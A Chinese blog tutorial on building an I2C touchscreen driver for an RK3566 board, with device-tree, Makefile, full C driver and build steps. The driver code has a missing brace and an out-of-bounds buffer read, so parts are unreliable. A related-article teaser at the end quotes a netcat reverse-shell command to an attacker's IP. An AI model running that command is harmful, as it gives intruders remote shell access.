RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)


文章目录

  • RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)
  • 电路
  • 配置i2c1设备树
  • 创建驱动
  • 编写Makefile
  • my_touch.c驱动
    • I2C驱动框架
  • 驱动中的结构体
    • probe
      • 竖屏probe函数
      • 横屏probe函数
    • 中断
    • 中断线程服务函数
      • 竖屏中断线程服务函数
      • 横屏中断线程服务函数
    • TD_STATUS
    • TOUCHn_X寄存器
    • TOUCHn_Y寄存器
    • 上报数据
  • 触摸驱动完整代码
  • 编译生效
  • 效果


电路

在这里插入图片描述

配置i2c1设备树

从原理图中可知GP7101和触摸共同挂在道I2C下,所以引用&i2c1并添加一个我们自己定义的myts@38触摸节点。

&i2c1 {status = "okay";             // 表示这个i2c1设备是可用的clock-frequency = <400000>;  // 设置i2c1的时钟频率为400kHzmyts@38 {                    // 定义一个i2c设备,设备地址为0x38,设备名称为mytscompatible = "my,touch"; // 表示这个设备是触摸屏设备,驱动名称为my,touchreg = <0x38>;            // i2c设备地址tp-size = <89>;          // 触摸屏的大小max-x = <480>;           // 触摸屏支持的最大X坐标值max-y = <800>;           // 触摸屏支持的最大Y坐标值touch-gpio = <&gpio1 RK_PA0 IRQ_TYPE_LEVEL_LOW>; // 触摸屏的触摸中断引脚,连接到gpio1的第0个引脚,触发方式为低电平触发reset-gpio = <&gpio1 RK_PA1 GPIO_ACTIVE_HIGH>;   // 触摸屏的复位引脚,连接到gpio1的第1个引脚,有效电平为高电平};/****省略****/
};

在这里插入图片描述

创建驱动

一般触摸都放在
/kernel/drivers/input/touchscreen目录下,所以我们在此路径下创建一个my_touch目录用来存放Makefile和my_touch.c文件。

/home/paranoid/tspi/android/kernel/drivers/input/touchscreen
cd kernel/drivers/input/touchscreen
mkdir my_touch
cd my_touch/
touch Makefile
touch my_touch.c

在这里插入图片描述

编写Makefile

touchscreen/Makefile中把my_touch.c编译到内核中,当然也可以选择obj-m编译成模块。

obj-y   += my_touch.o

在这里插入图片描述

要想
my_touch下的Makefile生效还需要在上一层目录的Makefile中添加my_touch目录,所以我们需要在touchscreen目录下Makefile中加入:注释掉官方SDK的触摸驱动

在这里插入图片描述
添加自己写的驱动
在这里插入图片描述

my_touch.c驱动

I2C驱动框架

一个框架结构。

static int my_touch_ts_probe(struct i2c_client *client,const struct i2c_device_id *id)
{return 0;
}static int my_touch_ts_remove(struct i2c_client *client)
{MY_DEBUG("locat");return 0;
}static const struct of_device_id my_touch_of_match[] = {{ .compatible = "my,touch", },{ /* sentinel */ }
};
MODULE_DEVICE_TABLE(of, my_touch_of_match);static struct i2c_driver my_touch_ts_driver = {.probe      = my_touch_ts_probe,.remove     = my_touch_ts_remove,.driver = {.name     = "my-touch",.of_match_table = of_match_ptr(my_touch_of_match),},
};static int __init my_ts_init(void)
{MY_DEBUG("locat");return i2c_add_driver(&my_touch_ts_driver);
}static void __exit my_ts_exit(void)
{MY_DEBUG("locat");i2c_del_driver(&my_touch_ts_driver);
}module_init(my_ts_init);
module_exit(my_ts_exit);MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("My touch driver");
MODULE_AUTHOR("KuLiT");

驱动中的结构体

因为驱动过程中会有很多参数,我们不可能创建全局变量去保存他们,在linux驱动中一般都是通过创建一个结构体来保存驱动相关的参数,所以这里创建一个my_touch_dev结构体。

// 定义一个表示触摸设备的结构体
struct my_touch_dev {struct i2c_client *client; // 指向与触摸设备通信的 I2C 客户端结构体的指针struct input_dev *input_dev; // 指向与输入设备关联的 input_dev 结构体的指针,用于处理输入事件int rst_pin; // 触摸设备的复位引脚编号int irq_pin; // 触摸设备的中断引脚编号u32 abs_x_max; // 触摸设备在 X 轴上的最大绝对值u32 abs_y_max; // 触摸设备在 Y 轴上的最大绝对值int irq; // 触摸设备的中断号
};

probe

当驱动中of_match_table = of_match_ptr(my_touch_of_match)和设备树匹配成功以后会执行探针函数,探针函数中我们会去初始化驱动。

竖屏probe函数

static int my_touch_ts_probe(struct i2c_client *client,const struct i2c_device_id *id)
{int ret; // 定义一个返回值变量struct my_touch_dev *ts; // 定义一个结构体指针,用来指向my_touch_dev结构体struct device_node *np = client->dev.of_node; // 获取设备节点// 打印调试信息MY_DEBUG("locat"); // 调用MY_DEBUG函数打印调试信息,此处打印"locat"ts = devm_kzalloc(&client->dev, sizeof(*ts), GFP_KERNEL); // 使用devm_kzalloc分配内存,减少内存申请操作if (ts == NULL){ // 检查内存分配是否成功dev_err(&client->dev, "Alloc GFP_KERNEL memory failed."); // 内存分配失败,打印错误信息return -ENOMEM; // 返回内存申请错误的码}ts->client = client; // 触摸屏设备的客户端指针指向i2c_client结构体i2c_set_clientdata(client, ts); // 将my_touch_dev结构体的指针设置为i2c客户端的数据// 从设备树中读取触摸屏的最大X和Y值if (of_property_read_u32(np, "max-x", &ts->abs_x_max)) {dev_err(&client->dev, "no max-x defined\n"); // 如果读取最大X值失败,打印错误信息return -EINVAL; // 返回参数无效的错误码}MY_DEBUG("abs_x_max:%d",ts->abs_x_max); // 打印X值if (of_property_read_u32(np, "max-y", &ts->abs_y_max)) {dev_err(&client->dev, "no max-y defined\n"); // 如果读取最大Y值失败,打印错误信息return -EINVAL; // 返回参数无效的错误码}MY_DEBUG("abs_x_max:%d",ts->abs_y_max); // 打印Y值// 获取并请求复位GPIO管脚ts->rst_pin = of_get_named_gpio(np, "reset-gpio", 0); // 从设备树中获取复位管脚ret = devm_gpio_request(&client->dev,ts->rst_pin,"my touch touch gpio"); // 请求使用复位管脚if (ret < 0){ // 如果请求失败dev_err(&client->dev, "gpio request failed."); // 打印错误信息return -ENOMEM;                                 // 返回内存申请错误的码}ts->irq_pin = of_get_named_gpio(np, "touch-gpio", 0); // 从设备树中获取中断管脚ret = devm_gpio_request_one(&client->dev, ts->irq_pin, // 请求使用中断管脚GPIOF_IN, "my touch touch gpio");if (ret < 0)return ret; // 如果请求失败,直接返回错误码// 复位触摸屏设备gpio_direction_output(ts->rst_pin,0); // 设置复位管脚输出低电平msleep(20); // 等待20毫秒gpio_direction_output(ts->irq_pin,0); // 设置中断管脚输出低电平msleep(2); // 等待2毫秒gpio_direction_output(ts->rst_pin,1); // 设置复位管脚输出高电平msleep(6); // 等待6毫秒gpio_direction_output(ts->irq_pin, 0); // 设置中断管脚输出低电平msleep(50); // 等待50毫秒// 申请中断服务ts->irq = gpio_to_irq(ts->irq_pin); // 将GPIO管脚转换为中断号if(ts->irq){ // 检查中断号是否有效ret = devm_request_threaded_irq(&(client->dev), ts->irq, // 请求线程化中断NULL, my_touch_irq_handler,                      // 中断服务函数IRQF_TRIGGER_FALLING | IRQF_ONESHOT,             // 中断触发方式为下降沿触发,且只触发一次client->name, ts);if (ret != 0) {MY_DEBUG("Cannot allocate ts INT!ERRNO:%d\n", ret); // 如果中断请求失败,打印错误信息return ret; // 返回错误码}}// 使用devm_input_allocate_device分配输入设备对象ts->input_dev = devm_input_allocate_device(&client->dev); if (!ts->input_dev) { // 检查输入设备对象是否分配成功dev_err(&client->dev, "Failed to allocate input device.\n"); // 打印错误信息return -ENOMEM; // 返回内存申请错误的码}// 设置输入设备的名称ts->input_dev->name = "my touch screen"; // 设置输入设备的总线类型为I2Cts->input_dev->id.bustype = BUS_I2C; // 设置X轴的最大值为480input_set_abs_params(ts->input_dev, ABS_MT_POSITION_X, 0, 480, 0, 0); // 设置Y轴的最大值为800input_set_abs_params(ts->input_dev, ABS_MT_POSITION_Y, 0, 800, 0, 0); // 初始化5个多点触摸槽位,直接模式ret = input_mt_init_slots(ts->input_dev, 5, INPUT_MT_DIRECT); if (ret) {dev_err(&client->dev, "Input mt init error\n"); // 打印错误信息return ret; // 返回错误码}// 注册输入设备ret = input_register_device(ts->input_dev); // 注册输入设备if (ret)return ret; // 返回错误码// 读取版本号gt9271_read_version(client); return 0; // 如果一切顺利,返回0
}

横屏probe函数

static int my_touch_ts_probe(struct i2c_client *client,const struct i2c_device_id *id)
{int ret;struct my_touch_dev *ts;struct device_node *np = client->dev.of_node;u8 addr[1] = {0x00};u8 point_data[1]={00};//1个状态位置+5个触摸点,一个点是6个数据组成// 打印调试信息MY_DEBUG("locat");// ts = kzalloc(sizeof(*ts), GFP_KERNEL);ts = devm_kzalloc(&client->dev, sizeof(*ts), GFP_KERNEL);if (ts == NULL){dev_err(&client->dev, "Alloc GFP_KERNEL memory failed.");return -ENOMEM;}ts->client = client;i2c_set_clientdata(client, ts);if (of_property_read_u32(np, "max-x", &ts->abs_x_max)) {dev_err(&client->dev, "no max-x defined\n");return -EINVAL;}MY_DEBUG("abs_x_max:%d",ts->abs_x_max);if (of_property_read_u32(np, "max-y", &ts->abs_y_max)) {dev_err(&client->dev, "no max-y defined\n");return -EINVAL;}MY_DEBUG("abs_x_max:%d",ts->abs_y_max);//找复位gpiots->rst_pin = of_get_named_gpio(np, "reset-gpio", 0);//申请复位gpioret = devm_gpio_request(&client->dev,ts->rst_pin,"my touch touch gpio");if (ret < 0){dev_err(&client->dev, "gpio request failed.");return -ENOMEM;}//找中断引进ts->irq_pin = of_get_named_gpio(np, "touch-gpio", 0);/* 申请使用管脚 */ret = devm_gpio_request_one(&client->dev, ts->irq_pin,GPIOF_IN, "my touch touch gpio");if (ret < 0)return ret;/*reset 复位屏幕,如果屏幕没有成功被复位触摸是无法产生中断的*/gpio_direction_output(ts->rst_pin,0);msleep(20); gpio_direction_output(ts->irq_pin,0);msleep(2); gpio_direction_output(ts->rst_pin,1);msleep(6); gpio_direction_output(ts->irq_pin, 0);gpio_direction_output(ts->irq_pin, 0);msleep(50);//申请中断ts->irq = gpio_to_irq(ts->irq_pin); if(ts->irq){ret = devm_request_threaded_irq(&(client->dev), ts->irq, NULL, my_touch_irq_handler, IRQF_TRIGGER_FALLING | IRQF_ONESHOT , client->name, ts);if (ret != 0) {MY_DEBUG("Cannot allocate ts INT!ERRNO:%d\n", ret);return ret;}}// 分配输入设备对象ts->input_dev = devm_input_allocate_device(&client->dev);if (!ts->input_dev) {dev_err(&client->dev, "Failed to allocate input device.\n");return -ENOMEM;}// 设置输入设备的名称和总线类型ts->input_dev->name = "my touch screen";ts->input_dev->id.bustype = BUS_I2C;/*设置触摸 x 和 y 的最大值*/// 设置输入设备的绝对位置参数,假如你的触摸出现范围很小的情况就是这值不对input_set_abs_params(ts->input_dev, ABS_MT_POSITION_X, 0, 480, 0, 0);input_set_abs_params(ts->input_dev, ABS_MT_POSITION_Y, 0, 800, 0, 0);// 初始化多点触摸设备的槽位ret = input_mt_init_slots(ts->input_dev, 5, INPUT_MT_DIRECT);if (ret) {dev_err(&client->dev, "Input mt init error\n");return ret;}// 注册输入设备ret = input_register_device(ts->input_dev);if (ret)return ret;my_touch_i2c_write(ts->client, addr,sizeof(addr), point_data, sizeof(point_data));gt9271_read_version(client);return 0;
}

中断

读取触摸数据有很多方法比如轮询但是这样效率太低了,所以我们这里通过中断方式实现触摸数据读取,当屏幕被触控时,屏幕会通过irq引脚输出中断信号。

devm_request_threaded_irq(&(client->dev), ts->irq,   // 请求线程化中断NULL, my_touch_irq_handler,          // 中断服务函数IRQF_TRIGGER_FALLING | IRQF_ONESHOT, // 中断触发方式为下降沿触发,且只触发一次client->name, ts);

中断线程服务函数

上面中断以后当屏幕被触摸会触发中断线程服务函数my_touch_irq_handler,在这个函数里面我们通过i2c去读取屏幕相关的参数。

竖屏中断线程服务函数

static irqreturn_t my_touch_irq_handler(int irq, void *dev_id)
{s32 ret = -1;                        // 定义一个返回值,初始化为-1struct my_touch_dev *ts = dev_id;    // 获取指向设备数据的指针u8 addr[1] = {0x02};                 // 定义一个寄存器地址数组对应数据手册TD_STATUS u8 point_data[1+6*5]={0};            // 定义一个点数据数组,预留足够空间 for 5 touch pointsu8 touch_num = 0;                    // 定义一个变量来存储触摸点的数量u8 *touch_data;                       // 定义一个指针用于指向点数据int i = 0;                           // 定义一个循环变量int event_flag, touch_id, input_x, input_y; // 定义一些用于存储事件信息的变量MY_DEBUG("irq");                    // 打印中断信息ret = my_touch_i2c_read(ts->client, addr, sizeof(addr), point_data, sizeof(point_data)); // 尝试读取触摸屏设备的数据if (ret < 0){                        // 如果读取失败MY_DEBUG("I2C write end_cmd error!"); // 打印错误信息}touch_num = point_data[0]&0x0f;     // 获取触摸点的数量MY_DEBUG("touch_num:%d",touch_num); // 打印触摸点数量// 遍历触摸点数据for(i=0; i<5; i++){// 获取触摸点数据touch_data = &point_data[1+6*i];/*解析触摸点的事件标志位00b: 按下01b: 抬起10b: 接触11b: 保留*/event_flag = touch_data[0] >> 6;if(event_flag == 0x03)continue; // 如果事件标志位不是按下或抬起,则跳过此循环touch_id = touch_data[2] >> 4;    // 获取触摸点IDMY_DEBUG("i:%d touch_id:%d event_flag:%d",i,touch_id,event_flag); // 打印调试信息input_x  = ((touch_data[0]&0x0f)<<8) | touch_data[1]; // 计算X坐标input_y  = ((touch_data[2]&0x0f)<<8) | touch_data[3]; // 计算Y坐标// MY_SWAP(input_x,input_y); // 如果需要交换X和Y坐标,可以取消注释此行MY_DEBUG("i:%d,x:%d,y:%d",i,input_x,input_y); // 打印调试信息// 设置输入设备的触摸槽位input_mt_slot(ts->input_dev, touch_id);if(event_flag == 0){ // 如果是按下// 上报按下事件和坐标input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, true); // 设置为按下状态input_report_abs(ts->input_dev, ABS_MT_POSITION_X, 480-input_x); // 报告X坐标input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, input_y); // 报告Y坐标}else if (event_flag == 2){ // 如果是长按// 直接上报数据input_report_abs(ts->input_dev, ABS_MT_POSITION_X, 480-input_x); // 报告X坐标input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, input_y); // 报告Y坐标else if(event_flag == 1){ // 如果是触摸抬起// 上报事件input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, false); // 设置为抬起状态}}// 报告输入设备的指针仿真信息input_mt_report_pointer_emulation(ts->input_dev, true);// 同步输入事件input_sync(ts->input_dev);// 返回IRQ_HANDLED,表示中断已经被处理return IRQ_HANDLED;
}

横屏中断线程服务函数

/*
1.中断来了,进入这里面,既然来中断证明屏幕被触摸了。
2.读取屏幕里面的触摸数据,每个屏幕不一样但是方法是一样怎么读my_touch_i2c_read读哪里
3.解析数据
4.上报数据*/
static irqreturn_t my_touch_irq_handler(int irq, void *dev_id)
{s32 ret = -1;struct my_touch_dev *ts = dev_id;u8 addr[1] = {0x02};u8 point_data[1+6*5]={0};//1个状态位置+5个触摸点,一个点是6个数据组成u8 touch_num = 0;u8 *touch_data;int i = 0;int event_flag, touch_id, input_x, input_y;MY_DEBUG("irq");ret = my_touch_i2c_read(ts->client, addr,sizeof(addr), point_data, sizeof(point_data));if (ret < 0){MY_DEBUG("I2C write end_cmd error!");}touch_num = point_data[0]&0x0f;MY_DEBUG("touch_num:%d",touch_num);//获取for(i=0; i<5; i++){//获取点touch_data = &point_data[1+6*i];/*00b: Put Down 01b: Put Up 10b: Contact 11b: Reserved*///TOUCHn_XH[7:6]event_flag = touch_data[0] >> 6;MY_DEBUG("event_flag:%d",event_flag);if(event_flag == 0x03)continue; touch_id = touch_data[2] >> 4;MY_DEBUG("i:%d touch_id:%d event_flag:%d",i,touch_id,event_flag);input_x  = ((touch_data[0]&0x0f)<<8) | touch_data[1];input_y  = ((touch_data[2]&0x0f)<<8) | touch_data[3];// MY_SWAP(input_x,input_y);MY_DEBUG("i:%d,x:%d,y:%d",i,input_x,input_y);// 设定输入设备的触摸槽位input_mt_slot(ts->input_dev, touch_id);if(event_flag == 0){// 如果是按下上报按下和坐标input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, true);input_report_abs(ts->input_dev, ABS_MT_POSITION_X, 480-input_x);input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, input_y);}else if (event_flag == 2){// 如果是长按直接上报数据input_report_abs(ts->input_dev, ABS_MT_POSITION_X, 480-input_x);input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, input_y);}else if(event_flag == 1){// 触摸抬起,上报事件input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, false);}}// 报告输入设备的指针仿真信息input_mt_report_pointer_emulation(ts->input_dev, true);// 同步输入事件input_sync(ts->input_dev);return IRQ_HANDLED;
}

TD_STATUS

读取数据从TD_STATUS开始,一个触摸点包含6个数据分别是TOUCH1_XH、TOUCH1_XL、TOUCH1_YH、TOUCH1_YL、TOUCH1_WEIGHT,共计支持5点触控,所以连续读取的长度为1(TD_STATUS)+6(数据)*5。

ret = my_touch_i2c_read(ts->client, addr, sizeof(addr), point_data, sizeof(point_data)); 

在这里插入图片描述

TD_STATUS寄存器中的[3:0]位存储的是触摸点数据,所以我们通过下面语句读取到当前有多少点被按下。

touch_num = point_data[0]&0x0f;     // 获取触摸点的数量

TOUCHn_X寄存器

TOUCHn_XH寄存器的[7:6]位是事件标志位数,所以我们通过touch_data右移6位来获取[7:6]位值。通过判定这个标志位我们可以知道当前触摸状态。

值类型:

  • 触摸:00b
  • 抬起:01b
  • 长按:10b
  • 保留:11b
event_flag = touch_data[0] >> 6;

TOUCHn_XH寄存器的[3:0]位是x坐标的高[11:8]位数,要想获取完整的x坐标值需要把TOUCHn_XH的[3:0]位和TOUCHn_XL的[7:0]位进行组合。

input_x  = ((touch_data[0]&0x0f)<<8) | touch_data[1];

在这里插入图片描述

TOUCHn_Y寄存器

TOUCHn_YH寄存器的[7:4]位是触摸ID,通过右移4位获取到触摸id。

touch_id = touch_data[2] >> 4;    // 获取触摸点ID

TOUCHn_YH寄存器的[3:0]位是y坐标的高[11:8]位数,要想获取完整的x坐标值需要把TOUCHn_YH的[3:0]位和TOUCHn_YL的[7:0]位进行组合。

input_y  = ((touch_data[2]&0x0f)<<8) | touch_data[3]; // 计算Y坐标

在这里插入图片描述

上报数据

数据到以后调用input接口函数进行数据上报,详细的函数使用方法大家看代码里面的注释。

触摸驱动完整代码

#include "linux/stddef.h"
#include <linux/kernel.h>
#include <linux/hrtimer.h>
#include <linux/i2c.h>
#include <linux/input.h>
#include <linux/module.h>
#include <linux/delay.h>
#include <linux/i2c.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/vmalloc.h>
#include <linux/interrupt.h>
#include <linux/io.h>
#include <linux/of_gpio.h>
#include <linux/gpio.h>
#include <linux/slab.h>
#include <linux/timer.h>
#include <linux/input/mt.h>
#include <linux/random.h>#define MY_SWAP(x, y)                 do{\typeof(x) z = x;\x = y;\y = z;\}while (0)#if 1
#define MY_DEBUG(fmt,arg...)  printk("MY_TOUCH:%s %d "fmt"",__FUNCTION__,__LINE__,##arg);
#else
#define MY_DEBUG(fmt,arg...)
#endifstruct my_touch_dev {struct i2c_client *client;struct input_dev *input_dev;int rst_pin;int irq_pin;u32 abs_x_max;u32 abs_y_max;int irq;
};s32 my_touch_i2c_read(struct i2c_client *client,u8 *addr,u8 addr_len, u8 *buf, s32 len)
{struct i2c_msg msgs[2];s32 ret=-1;msgs[0].flags = !I2C_M_RD;msgs[0].addr  = client->addr;msgs[0].len   = addr_len;msgs[0].buf   = &addr[0];msgs[1].flags = I2C_M_RD;msgs[1].addr  = client->addr;msgs[1].len   = len;msgs[1].buf   = &buf[0];ret = i2c_transfer(client->adapter, msgs, 2);if(ret == 2)return 0;if(addr_len == 2){MY_DEBUG("I2C Read: 0x%04X, %d bytes failed, errcode: %d! Process reset.", (((u16)(addr[0] << 8)) | addr[1]), len, ret);}else {MY_DEBUG("I2C Read: 0x%02X, %d bytes failed, errcode: %d! Process reset.", addr[0], len, ret);}return -1;
}s32 my_touch_i2c_write(struct i2c_client *client, u8 *addr, u8 addr_len, u8 *buf,s32 len)
{struct i2c_msg msg;s32 ret = -1;u8 *temp_buf;msg.flags = !I2C_M_RD;msg.addr  = client->addr;msg.len   = len+addr_len;temp_buf= kzalloc(msg.len, GFP_KERNEL);if (!temp_buf){goto error;}// 装填地址memcpy(temp_buf, addr, addr_len);// 装填数据memcpy(temp_buf + addr_len, buf, len);msg.buf = temp_buf;ret = i2c_transfer(client->adapter, &msg, 1);if (ret == 1) {kfree(temp_buf);return 0;}error:if(addr_len == 2){MY_DEBUG("I2C Read: 0x%04X, %d bytes failed, errcode: %d! Process reset.", (((u16)(addr[0] << 8)) | addr[1]), len, ret);}else {MY_DEBUG("I2C Read: 0x%02X, %d bytes failed, errcode: %d! Process reset.", addr[0], len, ret);}if (temp_buf)kfree(temp_buf);return -1;
}/*
1.中断来了,进入这里面,既然来中断证明屏幕被触摸了。
2.读取屏幕里面的触摸数据,每个屏幕不一样但是方法是一样怎么读my_touch_i2c_read读哪里
3.解析数据
4.上报数据*/
static irqreturn_t my_touch_irq_handler(int irq, void *dev_id)
{s32 ret = -1;struct my_touch_dev *ts = dev_id;u8 addr[1] = {0x02};u8 point_data[1+6*5]={0};//1个状态位置+5个触摸点,一个点是6个数据组成u8 touch_num = 0;u8 *touch_data;int i = 0;int event_flag, touch_id, input_x, input_y;MY_DEBUG("irq");ret = my_touch_i2c_read(ts->client, addr,sizeof(addr), point_data, sizeof(point_data));if (ret < 0){MY_DEBUG("I2C write end_cmd error!");}touch_num = point_data[0]&0x0f;MY_DEBUG("touch_num:%d",touch_num);//获取for(i=0; i<5; i++){//获取点touch_data = &point_data[1+6*i];/*00b: Put Down 01b: Put Up 10b: Contact 11b: Reserved*///TOUCHn_XH[7:6]event_flag = touch_data[0] >> 6;MY_DEBUG("event_flag:%d",event_flag);if(event_flag == 0x03)continue; touch_id = touch_data[2] >> 4;MY_DEBUG("i:%d touch_id:%d event_flag:%d",i,touch_id,event_flag);input_x  = ((touch_data[0]&0x0f)<<8) | touch_data[1];input_y  = ((touch_data[2]&0x0f)<<8) | touch_data[3];// MY_SWAP(input_x,input_y);MY_DEBUG("i:%d,x:%d,y:%d",i,input_x,input_y);// 设定输入设备的触摸槽位input_mt_slot(ts->input_dev, touch_id);if(event_flag == 0){// 如果是按下上报按下和坐标input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, true);input_report_abs(ts->input_dev, ABS_MT_POSITION_X, 480-input_x);input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, input_y);}else if (event_flag == 2){// 如果是长按直接上报数据input_report_abs(ts->input_dev, ABS_MT_POSITION_X, 480-input_x);input_report_abs(ts->input_dev, ABS_MT_POSITION_Y, input_y);}else if(event_flag == 1){// 触摸抬起,上报事件input_mt_report_slot_state(ts->input_dev, MT_TOOL_FINGER, false);}}// 报告输入设备的指针仿真信息input_mt_report_pointer_emulation(ts->input_dev, true);// 同步输入事件input_sync(ts->input_dev);return IRQ_HANDLED;
}s32 gt9271_read_version(struct i2c_client *client)
{s32 ret = -1;u8 addr[1] = {0xA1};u8 buf[3] = {0};ret = my_touch_i2c_read(client, addr,sizeof(addr), buf, sizeof(buf));if (ret < 0){MY_DEBUG("GTP read version failed");return ret;}if (buf[5] == 0x00){MY_DEBUG("IC Version: %0x %0x_%02x", buf[0], buf[1], buf[2]);}else{MY_DEBUG("IC Version: %0x %0x_%02x", buf[0], buf[1], buf[2]);}return ret;
}static int my_touch_ts_probe(struct i2c_client *client,const struct i2c_device_id *id)
{int ret;struct my_touch_dev *ts;struct device_node *np = client->dev.of_node;u8 addr[1] = {0x00};u8 point_data[1]={00};//1个状态位置+5个触摸点,一个点是6个数据组成// 打印调试信息MY_DEBUG("locat");// ts = kzalloc(sizeof(*ts), GFP_KERNEL);ts = devm_kzalloc(&client->dev, sizeof(*ts), GFP_KERNEL);if (ts == NULL){dev_err(&client->dev, "Alloc GFP_KERNEL memory failed.");return -ENOMEM;}ts->client = client;i2c_set_clientdata(client, ts);if (of_property_read_u32(np, "max-x", &ts->abs_x_max)) {dev_err(&client->dev, "no max-x defined\n");return -EINVAL;}MY_DEBUG("abs_x_max:%d",ts->abs_x_max);if (of_property_read_u32(np, "max-y", &ts->abs_y_max)) {dev_err(&client->dev, "no max-y defined\n");return -EINVAL;}MY_DEBUG("abs_x_max:%d",ts->abs_y_max);//找复位gpiots->rst_pin = of_get_named_gpio(np, "reset-gpio", 0);//申请复位gpioret = devm_gpio_request(&client->dev,ts->rst_pin,"my touch touch gpio");if (ret < 0){dev_err(&client->dev, "gpio request failed.");return -ENOMEM;}//找中断引进ts->irq_pin = of_get_named_gpio(np, "touch-gpio", 0);/* 申请使用管脚 */ret = devm_gpio_request_one(&client->dev, ts->irq_pin,GPIOF_IN, "my touch touch gpio");if (ret < 0)return ret;/*reset 复位屏幕,如果屏幕没有成功被复位触摸是无法产生中断的*/gpio_direction_output(ts->rst_pin,0);msleep(20); gpio_direction_output(ts->irq_pin,0);msleep(2); gpio_direction_output(ts->rst_pin,1);msleep(6); gpio_direction_output(ts->irq_pin, 0);gpio_direction_output(ts->irq_pin, 0);msleep(50);//申请中断ts->irq = gpio_to_irq(ts->irq_pin); if(ts->irq){ret = devm_request_threaded_irq(&(client->dev), ts->irq, NULL, my_touch_irq_handler, IRQF_TRIGGER_FALLING | IRQF_ONESHOT , client->name, ts);if (ret != 0) {MY_DEBUG("Cannot allocate ts INT!ERRNO:%d\n", ret);return ret;}}// 分配输入设备对象ts->input_dev = devm_input_allocate_device(&client->dev);if (!ts->input_dev) {dev_err(&client->dev, "Failed to allocate input device.\n");return -ENOMEM;}// 设置输入设备的名称和总线类型ts->input_dev->name = "my touch screen";ts->input_dev->id.bustype = BUS_I2C;/*设置触摸 x 和 y 的最大值*/// 设置输入设备的绝对位置参数,假如你的触摸出现范围很小的情况就是这值不对input_set_abs_params(ts->input_dev, ABS_MT_POSITION_X, 0, 480, 0, 0);input_set_abs_params(ts->input_dev, ABS_MT_POSITION_Y, 0, 800, 0, 0);// 初始化多点触摸设备的槽位ret = input_mt_init_slots(ts->input_dev, 5, INPUT_MT_DIRECT);if (ret) {dev_err(&client->dev, "Input mt init error\n");return ret;}// 注册输入设备ret = input_register_device(ts->input_dev);if (ret)return ret;my_touch_i2c_write(ts->client, addr,sizeof(addr), point_data, sizeof(point_data));gt9271_read_version(client);return 0;
}static int my_touch_ts_remove(struct i2c_client *client)
{struct my_touch_dev *ts = i2c_get_clientdata(client);MY_DEBUG("locat");input_unregister_device(ts->input_dev);return 0;
}static const struct of_device_id my_touch_of_match[] = {{ .compatible = "my,touch", },{ /* sentinel */ }
};
MODULE_DEVICE_TABLE(of, my_touch_of_match);static struct i2c_driver my_touch_ts_driver = {.probe      = my_touch_ts_probe,.remove     = my_touch_ts_remove,.driver = {.name     = "my-touch",.of_match_table = of_match_ptr(my_touch_of_match),},
};static int __init my_ts_init(void)
{MY_DEBUG("locat");return i2c_add_driver(&my_touch_ts_driver);
}static void __exit my_ts_exit(void)
{MY_DEBUG("locat");i2c_del_driver(&my_touch_ts_driver);
}module_init(my_ts_init);
module_exit(my_ts_exit);MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("My touch driver");
MODULE_AUTHOR("KuLiT");

编译生效

cd u-boot && ./make.sh rk3566 && cd ../kernel && make distclean && make ARCH=arm64 tspi_defconfig rk356x_evb.config android-11.config && make ARCH=arm64 tspi-rk3566-user-v10.img -j16 && cd .. && source build/envsetup.sh && lunch rk3566_tspi-userdebug && make installclean -j16 && make -j16 && ./mkimage.sh

在这里插入图片描述

./build.sh -u

在这里插入图片描述

效果

触摸打印信息,表示生效

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12314.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

【多模态】30、Monkey | 支持大尺寸图像输入的多任务多模态大模型

文章目录 一、背景二、方法2.1 Enhancing Input Resolution2.2 Multi-level Description Generation2.3 Multi-task Training 三、效果3.1 Image Caption3.2 General VQA3.3 Scene Text-centric VQA3.4 Document-oriented VQA3.5 消融实验3.6 可视化 论文&#xff1a;Monkey : …

数据结构与算法-排序算法2-选择排序

